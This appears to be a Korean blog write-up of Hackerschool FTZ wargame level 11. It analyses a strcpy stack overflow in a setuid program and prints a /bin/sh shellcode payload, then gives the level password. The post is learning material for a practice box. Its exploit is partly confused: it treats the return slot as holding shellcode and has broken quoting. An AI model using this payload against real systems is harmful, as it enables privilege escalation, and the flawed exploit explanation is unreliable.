thumbnail
cd ..
root@blog:~/posts/ 202210

해커스쿨 FTZ 레벨 11

#KOR#pwn
2022.10.01.

0. 들어가기 전에

조금 더 어려운 BOF문제! 물론 BOF가 아니고 Format String 기법으로도 공격할 수 있지만, 기왕 BOF 연습중인거 BOF로 풀었다.

1. Level 11

이것 또한 BOF 문제이다. 하지만 이번엔 “진짜” BOF처럼 ret값이 들어가는 주소에 쉘코드를 입력해야 한다. 이는 소스코드를 보면 확인할 수 있다.

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}

attackme의 소스코드다. 음..일단 tmp에 복사해서 한 번 gdb로 디버깅 해보는 것이 좋을 것 같다.

0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc14
0x08048481 <main+17>:   push   0xc14
0x08048486 <main+22>:   call   0x804834c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0x8
0x08048491 <main+33>:   mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>:   add    eax,0x4
0x08048497 <main+39>:   push   DWORD PTR [eax]
0x08048499 <main+41>:   lea    eax,[ebp-264]
0x0804849f <main+47>:   push   eax
0x080484a0 <main+48>:   call   0x804835c <strcpy>
0x080484a5 <main+53>:   add    esp,0x10
0x080484a8 <main+56>:   sub    esp,0xc
0x080484ab <main+59>:   lea    eax,[ebp-264]
0x080484b1 <main+65>:   push   eax
0x080484b2 <main+66>:   call   0x804833c <printf>

다음과 같은 코드가 뜨는데, 차근차근 분석해보면 ebp-264 시점에 우리의 str[256]이 선언되는 것 같다. strcpy는 길이 체크를 하지 않으니 버퍼오버플로우의 취약점이 보인다.

일단 264-256을 해서 더미데이터가 8바이트 존재하는걸 확인할 수 있다. 또한 기본적으로 SFP 4바이트와 ret 4바이트가 존재할 것이다. 따라서 스택구조를 재구성해보면 :

str[256]
dummy[8]
sfp[4]
ret[4]

처럼 될 것이다. 우리가 조작하고자 하는 겂은 ret값이니 우리는 총 268바이트를 사용해 뭔가를 채우고, ret에 4바이트 쉘코드를 넣어 attackme를 실행시키면 될 것 같다.

여기서 ret니 sfp니 아무것도 모르겠다면, 컴퓨터 구조(특히 레지스터)와 어셈블리에 대한 공부가 더 필요하다고 볼 수 있겠다. 간단히만 말하자면 ret는 return해서 돌아가는 주소이고(즉, 함수가 완료될떄 다음에 실행될 코드) sfp는 현재 스택의 기준을 잡는 값으로, 만약 이게 상위에서 호출된 함수라면 그 상위 함수의 위치값을 저장해 완료시 돌아갈 위치를 세이브해준다고 생각하면 된다.

이런걸 보면 확실히 리버싱 공부를 더 해야할 것 같다. 이런 예제야 쉽지만…

./attackme 'python-c'print"A"*268+
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\
x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'

//작성한 쉘 코드.

쉘코드는 인터넷에 널려있다. 스스로 만들기는 아직 실력이 좀 부족하다.

아, 그리고 쉘코드가 4바이트가 넘어가는 경우도 허다한데, 이런 경우는 환경변수 등록을 통해 등록된 환경변수의 주소를 return값으로 넘겨주면 된다. 이에 대해선 level12에서 다루도록 하겠다.

비밀번호 : it is like this


Source

[ comments ]